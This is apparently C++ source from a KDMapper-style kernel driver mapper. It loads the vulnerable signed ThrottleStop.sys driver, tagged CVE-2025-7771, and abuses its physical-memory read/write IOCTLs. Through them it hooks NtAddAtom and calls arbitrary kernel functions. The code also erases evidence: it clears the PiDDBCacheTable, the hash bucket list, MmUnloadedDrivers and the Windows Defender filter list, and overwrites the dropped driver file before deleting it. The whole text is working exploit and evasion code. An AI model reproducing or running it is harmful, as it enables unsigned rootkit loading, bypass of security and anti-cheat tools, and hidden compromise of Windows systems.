kernel_image_base = realBase;
break;
}
if (exitCode)
*exitCode = status;
kdmLog(L"[+] DriverEntry returned 0x" << std::hex << status << std::endl);
// Free memory
if (free) {
kdmLog(L"[+] Freeing memory" << std::endl);
bool free_status = false;
if (mode == AllocationMode::AllocateIndependentPages)
{
free_status = ts_driver::MmFreeIndependentPages(realBase, image_size);
}
else {
free_status = ts_driver::FreePool(realBase);
}
if (free_status) {
kdmLog(L"[+] Memory has been released" << std::endl);
}
else {
kdmLog(L"[-] WARNING: Failed to free memory!" << std::endl);
}
}
VirtualFree(local_image_base, 0, MEM_RELEASE);
return realBase;
} while (false);
VirtualFree(local_image_base, 0, MEM_RELEASE);
kdmLog(L"[+] Freeing memory" << std::endl);
bool free_status = false;
if (mode == AllocationMode::AllocateIndependentPages)
{
free_status = ts_driver::MmFreeIndependentPages(kernel_image_base, image_size);
}
else {
free_status = ts_driver::FreePool(kernel_image_base);
}
if (free_status) {
kdmLog(L"[+] Memory has been released" << std::endl);
}
else {
kdmLog(L"[-] WARNING: Failed to free memory!" << std::endl);
}
return 0;
}
include/ts_driver.hpp
#pragma once
#include <Windows.h>
#include <string>
#include <iostream>
#include <cstring>
#include "utils.hpp"
#include "nt.hpp"
namespace ts_driver
{
extern HANDLE hDevice;
extern ULONG64 ntoskrnlAddr;
// Physical address of kernel NtAddAtom (resolved during Load via Superfetch)
extern uint64_t paNtAddAtom;
// Physical R/W via ThrottleStop IOCTLs
bool ReadPhysical8(uint64_t phys_addr, uint64_t* out);
bool WritePhysical8(uint64_t phys_addr, uint64_t value);
bool ReadPhysicalBuffer(uint64_t phys_addr, void* buffer, size_t size);
bool WritePhysicalBuffer(uint64_t phys_addr, const void* buffer, size_t size);
// VA -> PA translation (uses CallKernelFunction + MmGetPhysicalAddress after bootstrap)
uint64_t TranslateVA(uint64_t va);
bool ClearPiDDBCacheTable();
bool ExAcquireResourceExclusiveLite(PVOID Resource, BOOLEAN wait);
bool ExReleaseResourceLite(PVOID Resource);
BOOLEAN RtlDeleteElementGenericTableAvl(PVOID Table, PVOID Buffer);
PVOID RtlLookupElementGenericTableAvl(nt::PRTL_AVL_TABLE Table, PVOID Buffer);
nt::PiDDBCacheEntry* LookupEntry(nt::PRTL_AVL_TABLE PiDDBCacheTable, ULONG timestamp, const wchar_t * name);
PVOID ResolveRelativeAddress(_In_ PVOID Instruction, _In_ ULONG OffsetOffset, _In_ ULONG InstructionSize);
NTSTATUS AcquireDebugPrivilege();
uintptr_t FindPatternAtKernel(uintptr_t dwAddress, uintptr_t dwLen, BYTE* bMask, const char* szMask);
uintptr_t FindSectionAtKernel(const char* sectionName, uintptr_t modulePtr, PULONG size);
uintptr_t FindPatternInSectionAtKernel(const char* sectionName, uintptr_t modulePtr, BYTE* bMask, const char* szMask);
bool ClearKernelHashBucketList();
bool ClearWdFilterDriverList();
bool IsRunning();
NTSTATUS Load();
NTSTATUS Unload();
bool MemCopy(uint64_t destination, uint64_t source, uint64_t size);
bool SetMemory(uint64_t address, uint32_t value, uint64_t size);
bool ReadMemory(uint64_t address, void* buffer, uint64_t size);
bool WriteMemory(uint64_t address, void* buffer, uint64_t size);
bool WriteToReadOnlyMemory(uint64_t address, void* buffer, uint32_t size);
uint64_t MmAllocateIndependentPagesEx(uint32_t size);
bool MmFreeIndependentPages(uint64_t address, uint32_t size);
BOOLEAN MmSetPageProtection(uint64_t address, uint32_t size, ULONG new_protect);
uint64_t AllocatePool(nt::POOL_TYPE pool_type, uint64_t size);
bool FreePool(uint64_t address);
uint64_t GetKernelModuleExport(uint64_t kernel_module_base, const std::string& function_name);
bool ClearMmUnloadedDrivers();
std::wstring GetDriverNameW();
std::wstring GetDriverPath();
template<typename T, typename ...A>
bool CallKernelFunction(T* out_result, uint64_t kernel_function_address, const A ...arguments) {
constexpr auto call_void = std::is_same_v<T, void>;
static_assert(sizeof...(A) <= 4, "CallKernelFunction: Too many arguments, max 4");
if constexpr (!call_void) {
if (!out_result)
return false;
}
else {
UNREFERENCED_PARAMETER(out_result);
}
if (!kernel_function_address)
return false;
HMODULE ntdll = GetModuleHandleA("ntdll.dll");
if (ntdll == 0) {
kdmLog(L"[-] Failed to load ntdll.dll" << std::endl);
return false;
}
const auto NtAddAtom = reinterpret_cast<void*>(GetProcAddress(ntdll, "NtAddAtom"));
if (!NtAddAtom) {
kdmLog(L"[-] Failed to get export ntdll.NtAddAtom" << std::endl);
return false;
}
// 16-byte hook / save / restore (two full qwords).
// NOTE: with a 12-byte buffer the compiled tail write zero-extended a
// 4-byte load into the qword written at NtAddAtom+8, zeroing the 4 bytes
// after the 12-byte stub (NtAddAtom's `add rsp,28h`). PatchGuard then
// bugchecks 0x109 CRITICAL_STRUCTURE_CORRUPTION (function modification)
// a few minutes after every mapping. 16-byte buffers make both chunks
// full 8-byte accesses, so nothing outside the stub is ever altered.
uint8_t kernel_injected_jmp[16] = { 0x48, 0xb8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xff, 0xe0, 0x00, 0x00, 0x00, 0x00 };
uint8_t original_kernel_function[16];
*(uint64_t*)&kernel_injected_jmp[2] = kernel_function_address;
if (!paNtAddAtom) {
kdmLog(L"[-] paNtAddAtom not initialized" << std::endl);
return false;
}
// Read original bytes via PHYSICAL read (no VA translation needed)
if (!ReadPhysicalBuffer(paNtAddAtom, &original_kernel_function, sizeof(kernel_injected_jmp)))
return false;
if (original_kernel_function[0] == kernel_injected_jmp[0] &&
original_kernel_function[1] == kernel_injected_jmp[1]) {
kdmLog(L"[-] FAILED!: The code was already hooked!!" << std::endl);
return false;
}
// Keep the 4 bytes after the 12-byte jump exactly as they were
memcpy(&kernel_injected_jmp[12], &original_kernel_function[12], 4);
// Write hook via PHYSICAL write (bypasses read-only page protection)
if (!WritePhysicalBuffer(paNtAddAtom, &kernel_injected_jmp, sizeof(kernel_injected_jmp)))
return false;
// Call function
if constexpr (!call_void) {
using FunctionFn = T(__stdcall*)(A...);
const auto Function = reinterpret_cast<FunctionFn>(NtAddAtom);
*out_result = Function(arguments...);
}
else {
using FunctionFn = void(__stdcall*)(A...);
const auto Function = reinterpret_cast<FunctionFn>(NtAddAtom);
Function(arguments...);
}
// Restore original bytes via PHYSICAL write (full 16 bytes)
if (!WritePhysicalBuffer(paNtAddAtom, original_kernel_function, sizeof(kernel_injected_jmp)))
return false;
// Verify the restore actually took effect
uint8_t verify_restore[16] = { 0 };
if (!ReadPhysicalBuffer(paNtAddAtom, verify_restore, sizeof(verify_restore)) ||
memcmp(verify_restore, original_kernel_function, sizeof(verify_restore)) != 0) {
kdmLog(L"[!] WARNING: NtAddAtom restore verification failed!" << std::endl);
return false;
}
return true;
}
}
ts_driver.cpp
#include "ts_driver.hpp"
#include <Windows.h>
#include <string>
#include <fstream>
#include <psapi.h>
#include "utils.hpp"
#include "throttlestop_resource.hpp"
#include "service.hpp"
#include "nt.hpp"
#include "portable_executable.hpp"
#include "superfetch.hpp"
#ifdef PDB_OFFSETS
#include "KDSymbolsHandler.h"
#endif
#pragma comment(lib, "psapi.lib")
#pragma comment(lib, "ntdll.lib")
// ThrottleStop IOCTL codes
#define TS_IOCTL_READ 0x80006498
#define TS_IOCTL_WRITE 0x8000649C
// Globals
HANDLE ts_driver::hDevice = 0;
ULONG64 ts_driver::ntoskrnlAddr = 0;
uint64_t ts_driver::paNtAddAtom = 0;
static std::string cachedDriverName = "";
static uint64_t kernel_MmGetPhysicalAddress = 0;
static HMODULE hLocalNtoskrnl = 0;
// ==================== Physical R/W via ThrottleStop ====================
bool ts_driver::ReadPhysical8(uint64_t phys_addr, uint64_t* out) {
if (!hDevice || hDevice == INVALID_HANDLE_VALUE)
return false;
DWORD bytes_returned = 0;
return DeviceIoControl(hDevice, TS_IOCTL_READ,
&phys_addr, sizeof(phys_addr),
out, sizeof(uint64_t),
&bytes_returned, NULL) && bytes_returned == sizeof(uint64_t);
}
bool ts_driver::WritePhysical8(uint64_t phys_addr, uint64_t value) {
if (!hDevice || hDevice == INVALID_HANDLE_VALUE)
return false;
uint8_t buf[16] = { 0 };
*(uint64_t*)buf = phys_addr;
*(uint64_t*)(buf + 8) = value;
DWORD bytes_returned = 0;
return DeviceIoControl(hDevice, TS_IOCTL_WRITE,
buf, sizeof(buf),
nullptr, 0,
&bytes_returned, NULL);
}
bool ts_driver::ReadPhysicalBuffer(uint64_t phys_addr, void* buffer, size_t size) {
uint8_t* dst = (uint8_t*)buffer;
size_t offset = 0;
while (offset < size) {
uint64_t val = 0;
if (!ReadPhysical8(phys_addr + offset, &val))
return false;
size_t chunk = (size - offset < 8) ? (size - offset) : 8;
memcpy(dst + offset, &val, chunk);
offset += chunk;
}
return true;
}
bool ts_driver::WritePhysicalBuffer(uint64_t phys_addr, const void* buffer, size_t size) {
const uint8_t* src = (const uint8_t*)buffer;
size_t offset = 0;
while (offset < size) {
size_t chunk = (size - offset < 8) ? (size - offset) : 8;
uint64_t val = 0;
if (chunk < 8) {
// Partial write: read current value first, merge, write back
if (!ReadPhysical8(phys_addr + offset, &val))
return false;
}
memcpy(&val, src + offset, chunk);
if (!WritePhysical8(phys_addr + offset, val))
return false;
offset += chunk;
}
return true;
}
// ==================== VA -> PA translation ====================
uint64_t ts_driver::TranslateVA(uint64_t va) {
if (!kernel_MmGetPhysicalAddress)
return 0;
uint64_t pa = 0;
if (!CallKernelFunction(&pa, kernel_MmGetPhysicalAddress, va))
return 0;
return pa;
}
// ==================== ReadMemory / WriteMemory ====================
bool ts_driver::ReadMemory(uint64_t address, void* buffer, uint64_t size) {
uint8_t* dst = (uint8_t*)buffer;
uint64_t offset = 0;
while (offset < size) {
uint64_t va = address + offset;
uint64_t page_offset = va & 0xFFF;
uint64_t bytes_in_page = 0x1000 - page_offset;
uint64_t to_read = (size - offset < bytes_in_page) ? (size - offset) : bytes_in_page;
uint64_t pa = TranslateVA(va);
if (!pa) {
// zero-fill on translation failure
memset(dst + offset, 0, (size_t)to_read);
offset += to_read;
continue;
}
if (!ReadPhysicalBuffer(pa, dst + offset, (size_t)to_read))
return false;
offset += to_read;
}
return true;
}
bool ts_driver::WriteMemory(uint64_t address, void* buffer, uint64_t size) {
uint8_t* src = (uint8_t*)buffer;
uint64_t offset = 0;
while (offset < size) {
uint64_t va = address + offset;
uint64_t page_offset = va & 0xFFF;
uint64_t bytes_in_page = 0x1000 - page_offset;
uint64_t to_write = (size - offset < bytes_in_page) ? (size - offset) : bytes_in_page;
uint64_t pa = TranslateVA(va);
if (!pa)
return false;
if (!WritePhysicalBuffer(pa, src + offset, (size_t)to_write))
return false;
offset += to_write;
}
return true;
}
// Physical writes bypass page protection — no MapIoSpace needed
bool ts_driver::WriteToReadOnlyMemory(uint64_t address, void* buffer, uint32_t size) {
return WriteMemory(address, buffer, (uint64_t)size);
}
// MemCopy: copy between two kernel virtual addresses
bool ts_driver::MemCopy(uint64_t destination, uint64_t source, uint64_t size) {
auto temp = std::make_unique<uint8_t[]>((size_t)size);
if (!ReadMemory(source, temp.get(), size))
return false;
return WriteMemory(destination, temp.get(), size);
}
bool ts_driver::SetMemory(uint64_t address, uint32_t value, uint64_t size) {
auto temp = std::make_unique<uint8_t[]>((size_t)size);
memset(temp.get(), (int)value, (size_t)size);
return WriteMemory(address, temp.get(), size);
}
// ==================== Driver name / path ====================
std::wstring ts_driver::GetDriverNameW() {
return L"ThrottleStop";
}
std::wstring ts_driver::GetDriverPath() {
std::wstring temp = kdmUtils::GetFullTempPath();
if (temp.empty())
return L"";
return temp + L"\\ThrottleStop.sys";
}
bool ts_driver::IsRunning() {
const HANDLE file_handle = CreateFileW(L"\\\\.\\ThrottleStop",
GENERIC_READ | GENERIC_WRITE, 0, nullptr, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, nullptr);
if (file_handle != nullptr && file_handle != INVALID_HANDLE_VALUE) {
CloseHandle(file_handle);
return true;
}
return false;
}
// ==================== Local ntoskrnl export resolution ====================
static uint64_t GetLocalExportOffset(const char* export_name) {
if (!hLocalNtoskrnl) {
hLocalNtoskrnl = LoadLibraryExA("ntoskrnl.exe", NULL, DONT_RESOLVE_DLL_REFERENCES);
if (!hLocalNtoskrnl)
return 0;
}
FARPROC proc = GetProcAddress(hLocalNtoskrnl, export_name);
if (!proc)
return 0;
return (uint64_t)proc - (uint64_t)hLocalNtoskrnl;
}
// ==================== Load / Unload ====================
NTSTATUS ts_driver::AcquireDebugPrivilege() {
ULONG SE_DEBUG_PRIVILEGE = 20UL;
BOOLEAN SeDebugWasEnabled;
NTSTATUS Status = superfetch::RtlAdjustPrivilege(SE_DEBUG_PRIVILEGE, TRUE, FALSE, &SeDebugWasEnabled);
if (!NT_SUCCESS(Status)) {
kdmLog("[-] Failed to acquire SE_DEBUG_PRIVILEGE" << std::endl);
}
return Status;
}
NTSTATUS ts_driver::Load() {
srand((unsigned)time(NULL) * GetCurrentThreadId());
if (ts_driver::IsRunning()) {
kdmLog(L"[-] \\Device\\ThrottleStop is already in use." << std::endl);
return STATUS_ALREADY_REGISTERED;
}
kdmLog(L"[<] Loading ThrottleStop.sys (CVE-2025-7771)" << std::endl);
std::wstring driver_path = GetDriverPath();
if (driver_path.empty()) {
kdmLog(L"[-] Can't find TEMP folder" << std::endl);
return STATUS_UNSUCCESSFUL;
}
_wremove(driver_path.c_str());
// Write ThrottleStop.sys to disk
if (!kdmUtils::CreateFileFromMemory(driver_path,
reinterpret_cast<const char*>(throttlestop_driver_resource::driver),
sizeof(throttlestop_driver_resource::driver))) {
kdmLog(L"[-] Failed to create ThrottleStop.sys file" << std::endl);
return STATUS_DISK_OPERATION_FAILED;
}
auto status = AcquireDebugPrivilege();
if (!NT_SUCCESS(status)) {
_wremove(driver_path.c_str());
return status;
}
// Load via service (ThrottleStop is TechPowerUp-signed, loads normally)
status = service::RegisterAndStart(driver_path, GetDriverNameW());
if (!NT_SUCCESS(status)) {
kdmLog(L"[-] Failed to register/start ThrottleStop service" << std::endl);
_wremove(driver_path.c_str());
return status;
}
// Open device
hDevice = CreateFileW(L"\\\\.\\ThrottleStop",
GENERIC_READ | GENERIC_WRITE, 0, nullptr,
OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if (!hDevice || hDevice == INVALID_HANDLE_VALUE) {
kdmLog(L"[-] Failed to open \\.\\ ThrottleStop device" << std::endl);
ts_driver::Unload();
return STATUS_NOT_FOUND;
}
// Test physical R/W
uint64_t test_val = 0;
if (!ReadPhysical8(0x1000, &test_val)) {
kdmLog(L"[-] ThrottleStop physical read test failed" << std::endl);
ts_driver::Unload();
return STATUS_UNSUCCESSFUL;
}
kdmLog(L"[+] ThrottleStop physical R/W working" << std::endl);
// Get ntoskrnl base
ntoskrnlAddr = kdmUtils::GetKernelModuleAddress("ntoskrnl.exe");
if (ntoskrnlAddr == 0) {
kdmLog(L"[-] Failed to get ntoskrnl.exe base" << std::endl);
ts_driver::Unload();
return STATUS_BAD_DLL_ENTRYPOINT;
}
kdmLog(L"[+] ntoskrnl.exe base: 0x" << std::hex << ntoskrnlAddr << std::endl);
// Resolve NtAddAtom and MmGetPhysicalAddress offsets from local ntoskrnl
uint64_t ntAddAtomOffset = GetLocalExportOffset("NtAddAtom");
uint64_t mmGetPhysOffset = GetLocalExportOffset("MmGetPhysicalAddress");
if (!ntAddAtomOffset || !mmGetPhysOffset) {
kdmLog(L"[-] Failed to resolve kernel exports from local ntoskrnl" << std::endl);
ts_driver::Unload();
return STATUS_NOT_FOUND;
}
uint64_t vaNtAddAtom = ntoskrnlAddr + ntAddAtomOffset;
kernel_MmGetPhysicalAddress = ntoskrnlAddr + mmGetPhysOffset;
kdmLog(L"[+] Kernel NtAddAtom VA: 0x" << std::hex << vaNtAddAtom << std::endl);
kdmLog(L"[+] Kernel MmGetPhysicalAddress VA: 0x" << std::hex << kernel_MmGetPhysicalAddress << std::endl);
// Build Superfetch translation map to find NtAddAtom PA
kdmLog(L"[<] Building Superfetch VA->PA map..." << std::endl);
auto translation_map = superfetch::BuildTranslationMap();
if (translation_map.empty()) {
kdmLog(L"[-] Superfetch translation map is empty" << std::endl);
ts_driver::Unload();
return STATUS_UNSUCCESSFUL;
}
kdmLog(L"[+] Superfetch map: " << std::dec << translation_map.size() << L" pages" << std::endl);
// Translate NtAddAtom VA to PA
paNtAddAtom = superfetch::Translate(translation_map, vaNtAddAtom);
if (!paNtAddAtom) {
kdmLog(L"[-] Failed to translate NtAddAtom VA to PA via Superfetch" << std::endl);
ts_driver::Unload();
return STATUS_UNSUCCESSFUL;
}
kdmLog(L"[+] NtAddAtom PA: 0x" << std::hex << paNtAddAtom << std::endl);
// Verify by reading NtAddAtom bytes via physical read
uint8_t verify_bytes[4] = { 0 };
if (!ReadPhysicalBuffer(paNtAddAtom, verify_bytes, 4)) {
kdmLog(L"[-] Failed to read NtAddAtom bytes" << std::endl);
ts_driver::Unload();
return STATUS_UNSUCCESSFUL;
}
kdmLog(L"[+] NtAddAtom first bytes: " << std::hex
<< (int)verify_bytes[0] << " " << (int)verify_bytes[1] << " "
<< (int)verify_bytes[2] << " " << (int)verify_bytes[3] << std::endl);
// Translation map no longer needed — from now on we use
// CallKernelFunction(MmGetPhysicalAddress) for all VA->PA translations
// Verify MZ header of ntoskrnl
IMAGE_DOS_HEADER dosHeader = { 0 };
if (!ts_driver::ReadMemory(ts_driver::ntoskrnlAddr, &dosHeader, sizeof(IMAGE_DOS_HEADER)) ||
dosHeader.e_magic != IMAGE_DOS_SIGNATURE) {
kdmLog(L"[-] Failed to read ntoskrnl MZ header" << std::endl);
ts_driver::Unload();
return STATUS_INVALID_IMAGE_FORMAT;
}
kdmLog(L"[+] ntoskrnl MZ header verified" << std::endl);
// Clean traces
if (!ts_driver::ClearPiDDBCacheTable()) {
kdmLog(L"[-] Failed to ClearPiDDBCacheTable" << std::endl);
ts_driver::Unload();
return STATUS_DELETE_PENDING | 0x1000;
}
if (!ts_driver::ClearKernelHashBucketList()) {
kdmLog(L"[-] Failed to ClearKernelHashBucketList" << std::endl);
ts_driver::Unload();
return STATUS_DELETE_PENDING | 0x2000;
}
if (!ts_driver::ClearMmUnloadedDrivers()) {
kdmLog(L"[!] Failed to ClearMmUnloadedDrivers" << std::endl);
ts_driver::Unload();
return STATUS_DELETE_PENDING | 0x3000;
}
if (!ts_driver::ClearWdFilterDriverList()) {
kdmLog("[!] Failed to ClearWdFilterDriverList" << std::endl);
ts_driver::Unload();
return STATUS_DELETE_PENDING | 0x4000;
}
return STATUS_SUCCESS;
}
NTSTATUS ts_driver::Unload() {
kdmLog(L"[<] Unloading ThrottleStop driver" << std::endl);
if (hDevice && hDevice != INVALID_HANDLE_VALUE) {
CloseHandle(hDevice);
hDevice = 0;
}
if (hLocalNtoskrnl) {
FreeLibrary(hLocalNtoskrnl);
hLocalNtoskrnl = 0;
}
paNtAddAtom = 0;
kernel_MmGetPhysicalAddress = 0;
auto status = service::StopAndRemove(GetDriverNameW());
if (!NT_SUCCESS(status))
return status;
std::wstring driver_path = GetDriverPath();
// Overwrite file with random data before deletion
std::ofstream file_ofstream(driver_path.c_str(), std::ios_base::out | std::ios_base::binary);
if (file_ofstream.is_open()) {
int newFileLen = sizeof(throttlestop_driver_resource::driver) + (((long long)rand() * (long long)rand()) % 2000000 + 1000);
BYTE* randomData = new BYTE[newFileLen];
for (int i = 0; i < newFileLen; i++)
randomData[i] = (BYTE)(rand() % 255);
file_ofstream.write((char*)randomData, newFileLen);
file_ofstream.close();
delete[] randomData;
kdmLog(L"[+] Driver data destroyed before unlink" << std::endl);
}
if (_wremove(driver_path.c_str()) != 0)
return STATUS_DELETE_PENDING;
return STATUS_SUCCESS;
}
// ==================== Pool / Export / Pattern functions ====================
// These remain the same as original KDMapper — they use ReadMemory/WriteMemory
// and CallKernelFunction which are now backed by ThrottleStop physical R/W
uint64_t ts_driver::AllocatePool(nt::POOL_TYPE pool_type, uint64_t size) {
if (!size)
return 0;
static uint64_t kernel_ExAllocatePool = GetKernelModuleExport(ts_driver::ntoskrnlAddr, "ExAllocatePoolWithTag");
if (!kernel_ExAllocatePool) {
kdmLog(L"[!] Failed to find ExAllocatePool" << std::endl);
return 0;
}
uint64_t allocated_pool = 0;
if (!CallKernelFunction(&allocated_pool, kernel_ExAllocatePool, pool_type, size, 'BwtE'))
return 0;
return allocated_pool;
}
bool ts_driver::FreePool(uint64_t address) {
if (!address)
return 0;
static uint64_t kernel_ExFreePool = GetKernelModuleExport(ts_driver::ntoskrnlAddr, "ExFreePool");
if (!kernel_ExFreePool) {
kdmLog(L"[!] Failed to find ExFreePool" << std::endl);
return 0;
}
return CallKernelFunction<void>(nullptr, kernel_ExFreePool, address);
}
uint64_t ts_driver::GetKernelModuleExport(uint64_t kernel_module_base, const std::string& function_name) {
if (!kernel_module_base)
return 0;
IMAGE_DOS_HEADER dos_header = { 0 };
IMAGE_NT_HEADERS64 nt_headers = { 0 };
if (!ReadMemory(kernel_module_base, &dos_header, sizeof(dos_header)) || dos_header.e_magic != IMAGE_DOS_SIGNATURE ||
!ReadMemory(kernel_module_base + dos_header.e_lfanew, &nt_headers, sizeof(nt_headers)) || nt_headers.Signature != IMAGE_NT_SIGNATURE)
return 0;
const auto export_base = nt_headers.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress;
const auto export_base_size = nt_headers.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].Size;
if (!export_base || !export_base_size)
return 0;
const auto export_data = reinterpret_cast<PIMAGE_EXPORT_DIRECTORY>(VirtualAlloc(nullptr, export_base_size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE));
if (!ReadMemory(kernel_module_base + export_base, export_data, export_base_size))
{
VirtualFree(export_data, 0, MEM_RELEASE);
return 0;
}
const auto delta = reinterpret_cast<uint64_t>(export_data) - export_base;
const auto name_table = reinterpret_cast<uint32_t*>(export_data->AddressOfNames + delta);
const auto ordinal_table = reinterpret_cast<uint16_t*>(export_data->AddressOfNameOrdinals + delta);
const auto function_table = reinterpret_cast<uint32_t*>(export_data->AddressOfFunctions + delta);
for (auto i = 0u; i < export_data->NumberOfNames; ++i) {
const std::string current_function_name = std::string(reinterpret_cast<char*>(name_table[i] + delta));
if (!_stricmp(current_function_name.c_str(), function_name.c_str())) {
const auto function_ordinal = ordinal_table[i];
if (function_table[function_ordinal] <= 0x1000) {
return 0;
}
const auto function_address = kernel_module_base + function_table[function_ordinal];
if (function_address >= kernel_module_base + export_base && function_address <= kernel_module_base + export_base + export_base_size) {
VirtualFree(export_data, 0, MEM_RELEASE);
return 0;
}
VirtualFree(export_data, 0, MEM_RELEASE);
return function_address;
}
}
VirtualFree(export_data, 0, MEM_RELEASE);
return 0;
}
// ==================== MmAllocateIndependentPagesEx ====================
uint64_t ts_driver::MmAllocateIndependentPagesEx(uint32_t size) {
uint64_t allocated_pages{};
static uint64_t kernel_MmAllocateIndependentPagesEx = 0;
#ifdef PDB_OFFSETS
if (!kernel_MmAllocateIndependentPagesEx) {
kernel_MmAllocateIndependentPagesEx = KDSymbolsHandler::GetInstance()->GetOffset(L"MmAllocateIndependentPagesEx");
if (!kernel_MmAllocateIndependentPagesEx) return 0;
kernel_MmAllocateIndependentPagesEx += ts_driver::ntoskrnlAddr;
}
#else
if (!kernel_MmAllocateIndependentPagesEx) {
kernel_MmAllocateIndependentPagesEx = ts_driver::FindPatternInSectionAtKernel((char*)".text", ts_driver::ntoskrnlAddr,
(BYTE*)"\x41\x8B\xD6\xB9\x00\x10\x00\x00\xE8\x00\x00\x00\x00\x48\x8B\xD8",
(char*)"xxxxxxxxx????xxx");
if (!kernel_MmAllocateIndependentPagesEx) {
kdmLog(L"[!] Failed to find MmAllocateIndependentPagesEx" << std::endl);
return 0;
}
kernel_MmAllocateIndependentPagesEx += 8;
kernel_MmAllocateIndependentPagesEx = (uint64_t)ResolveRelativeAddress((PVOID)kernel_MmAllocateIndependentPagesEx, 1, 5);
if (!kernel_MmAllocateIndependentPagesEx) return 0;
}
#endif
if (!ts_driver::CallKernelFunction(&allocated_pages, kernel_MmAllocateIndependentPagesEx, size, -1, 0, 0))
return 0;
return allocated_pages;
}
bool ts_driver::MmFreeIndependentPages(uint64_t address, uint32_t size) {
static uint64_t kernel_MmFreeIndependentPages = 0;
if (!kernel_MmFreeIndependentPages) {
#ifdef PDB_OFFSETS
kernel_MmFreeIndependentPages = KDSymbolsHandler::GetInstance()->GetOffset(L"MmFreeIndependentPages");
if (!kernel_MmFreeIndependentPages) return false;
kernel_MmFreeIndependentPages += ts_driver::ntoskrnlAddr;
#else
kernel_MmFreeIndependentPages = ts_driver::FindPatternInSectionAtKernel("PAGE", ts_driver::ntoskrnlAddr,
(BYTE*)"\xBA\x00\x60\x00\x00\x48\x8B\xCB\xE8\x00\x00\x00\x00\x48\x8D\x8B\x00\xF0\xFF\xFF",
(char*)"xxxxxxxxx????xxxxxxx");
if (!kernel_MmFreeIndependentPages) {
kernel_MmFreeIndependentPages = ts_driver::FindPatternInSectionAtKernel("PAGE", ts_driver::ntoskrnlAddr,
(BYTE*)"\x8B\x15\x00\x00\x00\x00\x48\x8B\xCB\xE8\x00\x00\x00\x00\x48\x8D\x8B",
(char*)"xx????xxxx????xxx");
if (!kernel_MmFreeIndependentPages) return false;
kernel_MmFreeIndependentPages += 9;
}
else {
kernel_MmFreeIndependentPages += 8;
}
kernel_MmFreeIndependentPages = (uint64_t)ResolveRelativeAddress((PVOID)kernel_MmFreeIndependentPages, 1, 5);
if (!kernel_MmFreeIndependentPages) return false;
#endif
}
uint64_t result{};
return ts_driver::CallKernelFunction(&result, kernel_MmFreeIndependentPages, address, size);
}
BOOLEAN ts_driver::MmSetPageProtection(uint64_t address, uint32_t size, ULONG new_protect) {
if (!address) return FALSE;
static uint64_t kernel_MmSetPageProtection = 0;
if (!kernel_MmSetPageProtection) {
#ifdef PDB_OFFSETS
kernel_MmSetPageProtection = KDSymbolsHandler::GetInstance()->GetOffset(L"MmSetPageProtection");
if (!kernel_MmSetPageProtection) return FALSE;
kernel_MmSetPageProtection += ts_driver::ntoskrnlAddr;
#else
kernel_MmSetPageProtection = ts_driver::FindPatternInSectionAtKernel("PAGELK", ts_driver::ntoskrnlAddr,
(BYTE*)"\x0F\x45\x00\x00\x8D\x00\x00\x00\xFF\xFF\xE8",
(char*)"xx??x???xxx");
if (!kernel_MmSetPageProtection) {
kernel_MmSetPageProtection = ts_driver::FindPatternInSectionAtKernel("PAGELK", ts_driver::ntoskrnlAddr,
(BYTE*)"\x0F\x45\x00\x00\x45\x8B\x00\x00\x00\x00\x8D\x00\x00\x00\x00\x00\x00\xFF\xFF\xE8",
(char*)"xx??xx????x???xxx");
if (!kernel_MmSetPageProtection) return FALSE;
kernel_MmSetPageProtection += 13;
}
else {
kernel_MmSetPageProtection += 10;
}
kernel_MmSetPageProtection = (uint64_t)ResolveRelativeAddress((PVOID)kernel_MmSetPageProtection, 1, 5);
if (!kernel_MmSetPageProtection) return FALSE;
#endif
}
BOOLEAN set_prot_status{};
if (!ts_driver::CallKernelFunction(&set_prot_status, kernel_MmSetPageProtection, address, size, new_protect))
return FALSE;
return set_prot_status;
}
// ==================== Cleanup functions (unchanged logic) ====================
bool ts_driver::ClearMmUnloadedDrivers() {
ULONG buffer_size = 0;
void* buffer = nullptr;
NTSTATUS status = NtQuerySystemInformation(static_cast<SYSTEM_INFORMATION_CLASS>(nt::SystemExtendedHandleInformation), buffer, buffer_size, &buffer_size);
while (status == STATUS_INFO_LENGTH_MISMATCH) {
if (buffer != nullptr)
VirtualFree(buffer, 0, MEM_RELEASE);
buffer = VirtualAlloc(nullptr, buffer_size, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
status = NtQuerySystemInformation(static_cast<SYSTEM_INFORMATION_CLASS>(nt::SystemExtendedHandleInformation), buffer, buffer_size, &buffer_size);
}
if (!NT_SUCCESS(status) || buffer == nullptr) {
if (buffer != nullptr)
VirtualFree(buffer, 0, MEM_RELEASE);
return false;
}
uint64_t object = 0;
auto system_handle_inforamtion = static_cast<nt::PSYSTEM_HANDLE_INFORMATION_EX>(buffer);
for (auto i = 0u; i < system_handle_inforamtion->HandleCount; ++i) {
const nt::SYSTEM_HANDLE current_system_handle = system_handle_inforamtion->Handles[i];
if (current_system_handle.UniqueProcessId != reinterpret_cast<HANDLE>(static_cast<uint64_t>(GetCurrentProcessId())))
continue;
if (current_system_handle.HandleValue == hDevice) {
object = reinterpret_cast<uint64_t>(current_system_handle.Object);
break;
}
}
VirtualFree(buffer, 0, MEM_RELEASE);
if (!object)
return false;
uint64_t device_object = 0;
if (!ReadMemory(object + 0x8, &device_object, sizeof(device_object)) || !device_object) return false;
uint64_t driver_object = 0;
if (!ReadMemory(device_object + 0x8, &driver_object, sizeof(driver_object)) || !driver_object) return false;
uint64_t driver_section = 0;
if (!ReadMemory(driver_object + 0x28, &driver_section, sizeof(driver_section)) || !driver_section) return false;
UNICODE_STRING us_driver_base_dll_name = { 0 };
if (!ReadMemory(driver_section + 0x58, &us_driver_base_dll_name, sizeof(us_driver_base_dll_name)) || us_driver_base_dll_name.Length == 0) return false;
auto unloadedName = std::make_unique<wchar_t[]>((ULONG64)us_driver_base_dll_name.Length / 2ULL + 1ULL);
if (!ReadMemory((uintptr_t)us_driver_base_dll_name.Buffer, unloadedName.get(), us_driver_base_dll_name.Length)) return false;
us_driver_base_dll_name.Length = 0;
if (!WriteMemory(driver_section + 0x58, &us_driver_base_dll_name, sizeof(us_driver_base_dll_name))) return false;
kdmLog(L"[+] MmUnloadedDrivers Cleaned: " << unloadedName << std::endl);
return true;
}
